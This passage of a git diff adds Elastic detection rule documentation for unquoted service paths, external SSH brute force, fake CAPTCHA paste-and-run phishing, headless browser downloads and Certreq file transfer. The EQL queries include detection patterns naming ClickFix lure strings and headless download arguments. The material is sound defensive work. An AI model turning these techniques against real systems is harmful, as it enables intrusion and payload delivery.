paths due to legacy configurations. Review and verify these applications, then configure exceptions for them to avoid false positives. +- Regularly scheduled tasks or maintenance scripts that run from unquoted paths can be mistaken for malicious activity. Ensure these tasks are documented and excluded from the rule if they are verified as safe. +- Security tools or monitoring software might simulate or test unquoted path vulnerabilities as part of their operations. Confirm these activities with the security team and exclude them if they are part of routine security assessments. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further exploitation or lateral movement by the adversary. +- Terminate any suspicious processes identified by the detection rule, specifically those matching the unquoted service path pattern. +- Conduct a thorough review of the service configurations on the affected system to identify and correct any unquoted service paths. Ensure all service paths are properly quoted to prevent future exploitation. +- Remove any unauthorized executables found in higher-level directories that could be used to exploit the unquoted service path vulnerability. +- Restore the affected system from a known good backup if malicious activity is confirmed and system integrity is compromised. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional systems are affected. +- Implement enhanced monitoring and logging for similar suspicious activities across the network to detect and respond to future attempts promptly. + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +*Additional data sources* + + +This rule also supports the following third-party data sources. For setup instructions, refer to the links below: + +- https://ela.st/crowdstrike-integration[CrowdStrike] +- https://ela.st/m365-defender[Microsoft Defender XDR] +- https://ela.st/sentinel-one-cloud-funnel[SentinelOne Cloud Funnel] +- https://ela.st/sysmon-event-1-setup[Sysmon Event ID 1 - Process Creation] +- https://ela.st/audit-process-creation[Windows Process Creation Logs] + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and + ( + process.executable : "?:\\Program.exe" or + process.executable regex """(C:\\Program Files \(x86\)\\|C:\\Program Files\\)\w+.exe""" + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Hijack Execution Flow +** ID: T1574 +** Reference URL: https://attack.mitre.org/techniques/T1574/ +* Sub-technique: +** Name: Path Interception by Unquoted Path +** ID: T1574.009 +** Reference URL: https://attack.mitre.org/techniques/T1574/009/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-external-linux-ssh-brute-force-detected.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-external-linux-ssh-brute-force-detected.asciidoc new file mode 100644 index 0000000000..5b2109be1d --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-external-linux-ssh-brute-force-detected.asciidoc @@ -0,0 +1,166 @@ +[[prebuilt-rule-8-19-34-potential-external-linux-ssh-brute-force-detected]] +=== Potential External Linux SSH Brute Force Detected + +Identifies multiple external consecutive login failures targeting a user account from the same source address within a short time interval. Adversaries will often brute force login attempts across multiple users with a common or known password, in an attempt to gain access to these accounts. + +*Rule type*: eql + +*Rule indices*: + +* filebeat-* +* logs-system.auth-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 5 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Credential Access +* Resources: Investigation Guide +* Noise: High +* Performance: Normal +* Profile: Aggressive +* Threat: Brute Force +* Rule Type: Event Correlation (EQL) +* Platform: Linux + +*Version*: 12 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Potential External Linux SSH Brute Force Detected* + + +The rule identifies consecutive SSH login failures targeting a user account from the same source IP address to the same target host indicating brute force login attempts. + +This rule will generate a lot of noise for systems with a front-facing SSH service, as adversaries scan the internet for remotely accessible SSH services and try to brute force them to gain unauthorized access. + +In case this rule generates too much noise and external brute forcing is of not much interest, consider turning this rule off and enabling "Potential Internal Linux SSH Brute Force Detected" to detect internal brute force attempts. + + +*Possible investigation steps* + + +- Investigate the login failure user name(s). +- Investigate the source IP address of the failed ssh login attempt(s). +- Investigate other alerts associated with the user/host during the past 48 hours. +- Identify the source and the target computer and their roles in the IT environment. + + +*False positive analysis* + + +- Authentication misconfiguration or obsolete credentials. +- Service account password expired. +- Infrastructure or availability issue. + + +*Related Rules* + + +- Potential Internal Linux SSH Brute Force Detected - 1c27fa22-7727-4dd3-81c0-de6da5555feb +- Potential SSH Password Guessing - 8cb84371-d053-4f4f-bce0-c74990e28f28 + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Isolate the involved hosts to prevent further post-compromise behavior. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Filebeat. + + +*Filebeat Setup* + +Filebeat is a lightweight shipper for forwarding and centralizing log data. Installed as an agent on your servers, Filebeat monitors the log files or locations that you specify, collects log events, and forwards them either to Elasticsearch or Logstash for indexing. + + +*The following steps should be executed in order to add the Filebeat on a Linux System:* + +- Elastic provides repositories available for APT and YUM-based distributions. Note that we provide binary packages, but no source packages. +- To install the APT and YUM repositories follow the setup instructions in this https://www.elastic.co/guide/en/beats/filebeat/current/setup-repositories.html[helper guide]. +- To run Filebeat on Docker follow the setup instructions in the https://www.elastic.co/guide/en/beats/filebeat/current/running-on-docker.html[helper guide]. +- To run Filebeat on Kubernetes follow the setup instructions in the https://www.elastic.co/guide/en/beats/filebeat/current/running-on-kubernetes.html[helper guide]. +- For quick start information for Filebeat refer to the https://www.elastic.co/guide/en/beats/filebeat/8.11/filebeat-installation-configuration.html[helper guide]. +- For complete “Setup and Run Filebeat” information refer to the https://www.elastic.co/guide/en/beats/filebeat/current/setting-up-and-running.html[helper guide]. + + +*Rule Specific Setup Note* + +- This rule requires the “Filebeat System Module” to be enabled. +- The system module collects and parses logs created by the system logging service of common Unix/Linux based distributions. +- To run the system module of Filebeat on Linux follow the setup instructions in the https://www.elastic.co/guide/en/beats/filebeat/current/filebeat-module-system.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +sequence by host.id, source.ip, user.name with maxspan=30s + [ authentication where host.os.type == "linux" and + event.action in ("ssh_login", "user_login") and event.outcome == "failure" and + not cidrmatch(source.ip, "10.0.0.0/8", "127.0.0.0/8", "169.254.0.0/16", "172.16.0.0/12", "192.0.0.0/24", + "192.0.0.0/29", "192.0.0.8/32", "192.0.0.9/32", "192.0.0.10/32", "192.0.0.170/32", "192.0.0.171/32", + "192.0.2.0/24", "192.31.196.0/24", "192.52.193.0/24", "192.168.0.0/16", "192.88.99.0/24", "224.0.0.0/4", + "100.64.0.0/10", "192.175.48.0/24","198.18.0.0/15", "198.51.100.0/24", "203.0.113.0/24", "240.0.0.0/4", + "::1", "FE80::/10", "FF00::/8") ] with runs = 60 + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Brute Force +** ID: T1110 +** Reference URL: https://attack.mitre.org/techniques/T1110/ +* Sub-technique: +** Name: Password Guessing +** ID: T1110.001 +** Reference URL: https://attack.mitre.org/techniques/T1110/001/ +* Sub-technique: +** Name: Password Spraying +** ID: T1110.003 +** Reference URL: https://attack.mitre.org/techniques/T1110/003/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-fake-captcha-phishing-attack.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-fake-captcha-phishing-attack.asciidoc new file mode 100644 index 0000000000..bafc4a4954 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-fake-captcha-phishing-attack.asciidoc @@ -0,0 +1,219 @@ +[[prebuilt-rule-8-19-34-potential-fake-captcha-phishing-attack]] +=== Potential Fake CAPTCHA Phishing Attack + +Identifies potential fake CAPTCHA phishing attacks based on PowerShell, Cmd, or Mshta command-line values. Adversaries employ this technique via compromised websites with browser injects, posing either as fake CAPTCHAs to access the site or as a page loading error requiring a fix to display the page. The victim is instructed to copy and paste a malicious command to the Windows Run dialog box. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process-* +* logs-crowdstrike.fdr* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-system.security* +* logs-windows.forwarded* +* logs-windows.sysmon_operational-* +* winlogbeat-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Execution +* Data Source: Windows Security Event Logs +* Data Source: Elastic Defend +* Data Source: Sysmon +* Data Source: SentinelOne +* Data Source: Microsoft Defender XDR +* Data Source: Crowdstrike +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Profile: Recommended +* Threat: ClickFix +* Threat: Living off the Land +* Rule Type: Event Correlation (EQL) +* Platform: Windows + +*Version*: 5 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Potential Fake CAPTCHA Phishing Attack* + + +*Possible investigation steps* + + +- What does the pasted command do after the CAPTCHA or verification text? + - Why: lure text is the wrapper; payload behavior separates clickfix execution from testing or inert copy text. + - Focus: `process.name`, `process.command_line`, `process.parent.name`, and `process.parent.command_line` for URLs, encoded content, inline script, archive handling, or handoff to "mshta.exe", "cmd.exe", or "powershell.exe". + - Hint: fake-update or page-fix wording is the same abuse path when the command downloads, decodes, or hands execution to another utility. + - Implication: escalate when the command downloads content, rebuilds a payload, invokes another script host, or hides work after CAPTCHA wording; lower suspicion only for a bounded authorized simulation or lab command with no second-stage behavior. + +- Is the shell or proxy binary and launch context consistent with paste-and-run clickfix? + - Focus: `process.executable`, `process.parent.executable`, `process.parent.command_line`, and `user.id`. + - Implication: escalate faster when the binary is renamed, user-writable, or launched from an unusual parent context for the user; a native shell path confirms identity but does not clear suspicious command content. + +- Do children from the alerting instance show payload execution or follow-on tooling? + - Focus: child starts where `process.parent.entity_id` maps to `process.entity_id`, reviewing child `process.executable` and `process.command_line`. !{investigate{"description":"","label":"Child process starts from the same alerting instance","providers":[[{"excluded":false,"field":"event.category","queryType":"phrase","value":"process","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.parent.entity_id","queryType":"phrase","value":"{{process.entity_id}}","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} + - Hint: if `process.entity_id` is absent, recover children with `host.id` + `process.pid` in a tight alert-time window and treat the match as weaker. + - Implication: escalate when the same shell or "mshta.exe" starts installers, script hosts, archive tools, credential tooling, or more shells; no children reduce scope only if command intent and artifact/destination evidence also stay bounded. + +- If file telemetry is available, did the process stage scripts, HTAs, archives, or payloads? + - Focus: process-scoped file events using `host.id` + `process.entity_id`, or `host.id` + `process.pid` as fallback, reviewing `file.path`, `file.origin_url`, and `file.Ext.windows.zone_identifier`. !{investigate{"description":"","label":"File activity for the alerting instance","providers":[[{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.entity_id","queryType":"phrase","value":"{{process.entity_id}}","valueType":"string"},{"excluded":false,"field":"event.category","queryType":"phrase","value":"file","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} + - Implication: escalate when artifacts land in temp, downloads, desktop, public, startup, or other user-writable paths, carry internet provenance, or later execute; missing file telemetry is unresolved, not benign. + +- If network telemetry is available, did the process retrieve payloads or contact callbacks? + - Focus: process-scoped network events using `host.id` + `process.entity_id`, separating DNS `dns.question.name` from connection `destination.ip` / `destination.port`. !{investigate{"description":"","label":"Network activity for the alerting instance","providers":[[{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.entity_id","queryType":"phrase","value":"{{process.entity_id}}","valueType":"string"},{"excluded":false,"field":"event.category","queryType":"phrase","value":"network","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} + - Hint: if `process.entity_id` is absent, use `host.id` + `process.pid` and a tight alert-time window. Missing network telemetry is unresolved, not benign. + - Implication: escalate when the same process reaches rare public domains, direct IPs, paste/file hosts, or service ports fitting retrieval or callback behavior; lower suspicion only when destinations belong to the same authorized simulation or lab workflow. + +- Do surrounding process events explain the lure path into "explorer.exe"? + - Focus: same `host.id` and `user.id` process timeline, especially browser, chat, mail, archive, or download-manager starts in `process.name`, `process.parent.executable`, and `process.parent.command_line`. !{investigate{"description":"","label":"Process timeline for the host and user","providers":[[{"excluded":false,"field":"event.category","queryType":"phrase","value":"process","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"user.id","queryType":"phrase","value":"{{user.id}}","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} + - Implication: escalate when a browser/chat/download chain immediately precedes the paste-run shell or no controlled source explains the lure; lower suspicion when the sequence matches a planned awareness platform or lab harness and the command remains bounded. + +- If local findings stay suspicious or unresolved, do related alerts change scope? + - Focus: recent alerts for the same `host.id`, then `user.id`, emphasizing reuse of the command fragment, shell/proxy binary, recovered artifact, destination, or persistence chain. !{investigate{"description":"","label":"Alerts associated with the host","providers":[[{"excluded":false,"field":"event.kind","queryType":"phrase","value":"signal","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} + - Hint: use the user view after the host view, or when a shared host needs actor scoping for the command or lure pattern. !{investigate{"description":"","label":"Alerts associated with the user","providers":[[{"excluded":false,"field":"event.kind","queryType":"phrase","value":"signal","valueType":"string"},{"excluded":false,"field":"user.id","queryType":"phrase","value":"{{user.id}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} + - Implication: broaden response when related alerts show the same lure-driven execution pattern on this host or user; quiet alert history does not close the case without a telemetry-backed benign workflow. + +- Escalate on clickfix command intent plus suspicious children, staged artifacts, process-scoped destinations, delivery context, or related alerts; close only when alert-local evidence and recovery bind one authorized simulation or lab workflow with no contradiction; if evidence is mixed or visibility incomplete, preserve evidence and escalate. + + +*False positive analysis* + + +- Security-awareness, phishing-simulation, red-team, malware-analysis, browser-security, and QA labs can intentionally execute fake CAPTCHA samples. Confirm one exact workflow: stable `process.command_line` fragment, expected `process.executable` and `process.parent.name`, bounded `user.id` / `host.id`, and recovered children, artifacts, and destinations that stay inside the exercise or lab set. +- Without exercise or lab records, close only when telemetry proves the same command fragment, parent context, `user.id`, `host.id`, and recovered evidence stayed bounded across prior alerts from this rule. Do not close when child execution, artifact staging, destination activity, or related alerts contradict the expected workflow. +- Build exceptions only from the minimum confirmed workflow: command fragment, process identity, parent context, `user.id`, `host.id`, and any recovered artifact or destination pattern. Avoid exceptions on lure text, "explorer.exe", `process.name`, or a user alone. + + +*Response and remediation* + + +- If confirmed benign, reverse temporary containment and record the command, process identity, parent context, `user.id`, `host.id`, and recovered supporting evidence that proved the authorized simulation or lab workflow. Create an exception only when that exact workflow recurs. +- If suspicious but unconfirmed, export the alert, process tree, `process.entity_id`, `process.command_line`, child command lines, volatile state, and any recovered artifact paths, domains, IPs, or ports before containment. Apply reversible controls first, such as temporary destination blocks, browser-session reset, heightened monitoring, or endpoint isolation when retrieval, staging, or second-stage execution makes continued connectivity risky. +- If confirmed malicious, isolate the host when command intent plus child, artifact, or destination evidence establishes compromise. Terminate the malicious shell, "mshta.exe", or follow-on children only after evidence is recorded, then block confirmed domains, IPs, hashes, or URLs and reset credentials only if the investigation shows account misuse. +- Eradicate only the staged scripts, HTAs, archives, payloads, or persistence artifacts found during the investigation, then remediate the web, chat, mail, or download path that led the user to run the lure. +- Post-incident hardening: retain process, file, and network telemetry needed for future clickfix triage; review browser protections, clipboard/paste execution controls, and user-awareness coverage; record the confirmed lure wording and paste-run chain in the case notes. + + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +*Additional data sources* + + +This rule also supports the following third-party data sources. For setup instructions, refer to the links below: + +- https://ela.st/crowdstrike-integration[CrowdStrike] +- https://ela.st/m365-defender[Microsoft Defender XDR] +- https://ela.st/sentinel-one-cloud-funnel[SentinelOne Cloud Funnel] +- https://ela.st/sysmon-event-1-setup[Sysmon Event ID 1 - Process Creation] +- https://ela.st/audit-process-creation[Windows Process Creation Logs] + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and + process.name : ("powershell.exe", "cmd.exe", "mshta.exe") and process.parent.name : "explorer.exe" and + process.command_line : ("*recaptcha *", "*CAPTCHA Verif*", "*complete verification*", "*Verification ID*", "*Verification Code*", "*Verification UID*", + "*hυmаn vаlіdаtiοn*", "*human ID*", "*Action Identificator*", "*not a robot*", "*Click OK to*", "*anti-robot test*", + "*Cloudflare ID*") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: PowerShell +** ID: T1059.001 +** Reference URL: https://attack.mitre.org/techniques/T1059/001/ +* Sub-technique: +** Name: Windows Command Shell +** ID: T1059.003 +** Reference URL: https://attack.mitre.org/techniques/T1059/003/ +* Technique: +** Name: User Execution +** ID: T1204 +** Reference URL: https://attack.mitre.org/techniques/T1204/ +* Sub-technique: +** Name: Malicious Copy and Paste +** ID: T1204.004 +** Reference URL: https://attack.mitre.org/techniques/T1204/004/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: System Binary Proxy Execution +** ID: T1218 +** Reference URL: https://attack.mitre.org/techniques/T1218/ +* Sub-technique: +** Name: Mshta +** ID: T1218.005 +** Reference URL: https://attack.mitre.org/techniques/T1218/005/ +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Drive-by Compromise +** ID: T1189 +** Reference URL: https://attack.mitre.org/techniques/T1189/ +* Technique: +** Name: Phishing +** ID: T1566 +** Reference URL: https://attack.mitre.org/techniques/T1566/ +* Sub-technique: +** Name: Spearphishing Attachment +** ID: T1566.001 +** Reference URL: https://attack.mitre.org/techniques/T1566/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-file-download-via-a-headless-browser.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-file-download-via-a-headless-browser.asciidoc new file mode 100644 index 0000000000..ee85e32089 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-file-download-via-a-headless-browser.asciidoc @@ -0,0 +1,175 @@ +[[prebuilt-rule-8-19-34-potential-file-download-via-a-headless-browser]] +=== Potential File Download via a Headless Browser + +Identifies headless browser execution from a suspicious parent process with arguments consistent with scripted retrieval. Adversaries use browsers because they are trusted, signed binaries that proxy and application-control policies allow through, bypassing restrictions on direct download tools. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-system.security* +* logs-windows.forwarded* +* logs-windows.sysmon_operational-* +* winlogbeat-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://lolbas-project.github.io/lolbas/Binaries/Msedge/ + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Command and Control +* Resources: Investigation Guide +* Data Source: Windows +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Windows Security Event Logs +* Data Source: Microsoft Defender XDR +* Data Source: SentinelOne +* Data Source: Sysmon +* Data Source: Crowdstrike +* Noise: Medium +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Windows + +*Version*: 210 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Potential File Download via a Headless Browser* + + + +*Possible investigation steps* + + +- What headless pattern does the command line express, and is the browser the installed product? + - Why: this rule fires on three distinct retrieval patterns -- remote URL fetch, inline base64 HTML decode ("data:text/html;base64"), or DOM dump ("--dump-dom") -- and each requires different follow-on evidence. + - Focus: `process.command_line` and `process.working_directory` to identify the retrieval pattern and output destination; confirm the browser is the installed product via `process.executable`, `process.code_signature.subject_name`, and `process.code_signature.trusted`. + - Implication: retrieval intent is stronger when the command line targets external content, decodes base64, or redirects output to unusual paths, especially when the browser is unsigned, portable, or renamed; more explainable when the arguments match a rendering or automation workflow and the browser is the standard signed installation. + +- Does the parent, ancestry, and user-host pattern explain why a browser is being driven headlessly? + - Why: the same browser arguments mean different things when launched by a web-rendering service than when launched by a script host, Office application, or interactive shell. + - Focus: `process.parent.executable`, `process.parent.command_line`, `process.Ext.ancestry`, and `process.Ext.session_info.logon_type`; also check whether `user.id` and `host.id` fit a role where headless browser automation is expected. + - Implication: more concerning if launched by a script host, Office process, MSI, WMI, or an unexpected interactive session, or when the user-host pair should not be running headless browsers; more explainable if the ancestry resolves to a recognized rendering service or automation component for that host role. + +- Do network events show the browser reaching destinations consistent with the claimed workflow? + - Focus: same-host network events scoped to the alert's `process.entity_id`, using `dns.resolved_ip` to bridge `dns.question.name` to `destination.ip` and treating `destination.as.organization.name` as ownership context rather than a verdict. !{investigate{"description":"","label":"Network activity for the alerting process","providers":[[{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.entity_id","queryType":"phrase","value":"{{process.entity_id}}","valueType":"string"},{"excluded":false,"field":"event.category","queryType":"phrase","value":"network","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} + - Hint: if `process.entity_id` is not available, stay on the same `host.id` and alert window and use `dns.question.name`, `dns.resolved_ip`, and `destination.ip` to test whether the browser likely reached the fetched content. + - Implication: delivery risk increases when the browser reaches rare public destinations or infrastructure unrelated to the workflow, or when another process connects to an exposed debugging port; risk falls when destinations align with recognized internal services or known automation targets. Missing network telemetry is unresolved, not benign. + +- Do file events or child processes from the browser show downloaded, decoded, or staged artifacts? + - Focus: file events scoped to `process.entity_id` (`file.path`, `file.origin_url`, `file.Ext.windows.zone_identifier`, `file.Ext.header_bytes`), child process activity, and later `process.executable` reuse of a written path. + - Implication: more likely delivery when the browser writes scripts, executables, archives, or decoded content to user-writable or deceptive paths, spawns child processes, or the artifact later appears in execution telemetry; less concerning when output stays in a renderer cache or report directory with no suspicious reuse. + +- If the local browser, destination, or artifact evidence stays suspicious or unresolved, does related alert history show isolated automation or broader download activity on this user or host? + - Focus: related alerts for `host.id` and `user.id` in the last 48 hours, checking for sibling transfer tools, non-headless browser automation, or reuse of the same destinations across hosts. + - !{investigate{"description":"","label":"Alerts associated with the user","providers":[[{"excluded":false,"field":"event.kind","queryType":"phrase","value":"signal","valueType":"string"},{"excluded":false,"field":"user.id","queryType":"phrase","value":"{{user.id}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} + - !{investigate{"description":"","label":"Alerts associated with the host","providers":[[{"excluded":false,"field":"event.kind","queryType":"phrase","value":"signal","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} + - Implication: broaden when the same user or host shows repeated delivery behavior across hosts or through sibling tools; keep narrow when both alert views stay within one recognized automation component. + +- Escalate when browser identity, command line, destinations, artifacts, or alert scope point to unauthorized headless retrieval or staging; close only when all evidence aligns with a recognized automation workflow; if mixed or incomplete, preserve and escalate. + + +*False positive analysis* + + +- Server-side rendering, web testing, QA, or browser automation can legitimately start a headless browser with retrieval arguments. Confirm when `process.executable`, `process.parent.executable`, and the `dns.question.name` or `destination.ip` pattern all align with one automation component and no staged artifacts diverge from that workflow. If automation records are unavailable, require the same browser, parent, and destination pattern to recur across prior alerts. +- Before creating an exception, build on `process.executable`, `process.parent.executable`, `process.code_signature.subject_name`, and `host.id` or `user.id`. Avoid exceptions on `process.name` alone, the "--headless" flag alone, or `host.id` alone. + + +*Response and remediation* + + +- If confirmed benign, reverse any temporary containment and document the `process.executable`, `process.parent.executable`, `process.command_line`, destination pattern from `dns.question.name` or `destination.ip`, and recurring `user.id` / `host.id` scope that proved the workflow. Create an exception only if that same pattern recurs consistently across prior alerts from this rule. +- If suspicious but unconfirmed, first preserve the alert's `process.entity_id`, `process.command_line`, related `file.path` outputs, `file.origin_url` provenance, and any linked `dns.question.name`, `dns.resolved_ip`, or `destination.ip` values. Then apply reversible containment such as temporary egress blocks or tighter monitoring of the affected `user.id` or `host.id`. Escalate to host isolation only when the browser, network, or artifact evidence shows material delivery or staging risk. +- If confirmed malicious, document the alert's `process.entity_id`, `process.command_line`, `process.parent.command_line`, written `file.path` artifacts, `process.hash.sha256`, and confirmed `dns.question.name` or `destination.ip` values before initiating response actions. Prefer endpoint isolation as the first containment step, weighing the host's role before isolating critical infrastructure such as servers, domain controllers, or build systems. If direct endpoint response is unavailable, escalate with the preserved artifact set to the team that can act. +- After containment, review other `host.id` and `user.id` alerts for the same `dns.question.name`, `destination.ip`, or `process.executable` pattern before deleting artifacts or restoring access. Then block the malicious destinations and downloaded artifact hashes identified during the investigation, eradicate the scripts, archives, browsers, or persistence artifacts uncovered during the artifact and scope review, and remediate the launcher, automation component, or execution-control gap that allowed the headless browser to retrieve content. + + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +*Additional data sources* + + +This rule also supports the following third-party data sources. For setup instructions, refer to the links below: + +- https://ela.st/crowdstrike-integration[CrowdStrike] +- https://ela.st/m365-defender[Microsoft Defender XDR] +- https://ela.st/sentinel-one-cloud-funnel[SentinelOne Cloud Funnel] +- https://ela.st/sysmon-event-1-setup[Sysmon Event ID 1 - Process Creation] +- https://ela.st/audit-process-creation[Windows Process Creation Logs] + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and + process.name : ("chrome.exe", "msedge.exe", "brave.exe", "browser.exe", "dragon.exe", "vivaldi.exe") and + process.args : "--headless*" and + process.args : ("--dump-dom", "*http*", "data:text/html;base64,*") and + process.parent.name : + ("cmd.exe", "powershell.exe", "wscript.exe", "cscript.exe", "mshta.exe", "conhost.exe", "msiexec.exe", + "explorer.exe", "rundll32.exe", "winword.exe", "excel.exe", "onenote.exe", "hh.exe", "powerpnt.exe", "forfiles.exe", + "pcalua.exe", "wmiprvse.exe") and + not process.executable : ( + "?:\\inetpub\\wwwroot\\*\\ext\\modules\\html2pdf\\bin\\chrome\\*\\chrome-win64\\chrome.exe", + "\\Device\\HarddiskVolume*\\inetpub\\wwwroot\\*\\ext\\modules\\html2pdf\\bin\\chrome\\*\\chrome-win64\\chrome.exe" + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Ingress Tool Transfer +** ID: T1105 +** Reference URL: https://attack.mitre.org/techniques/T1105/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-file-transfer-via-certreq.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-file-transfer-via-certreq.asciidoc new file mode 100644 index 0000000000..25305ab51e --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-file-transfer-via-certreq.asciidoc @@ -0,0 +1,201 @@ +[[prebuilt-rule-8-19-34-potential-file-transfer-via-certreq]] +=== Potential File Transfer via Certreq + +Identifies Certreq making an HTTP Post request. Adversaries could abuse Certreq to download files or upload data to a remote URL. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-system.security* +* logs-windows.forwarded* +* logs-windows.sysmon_operational-* +* winlogbeat-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also 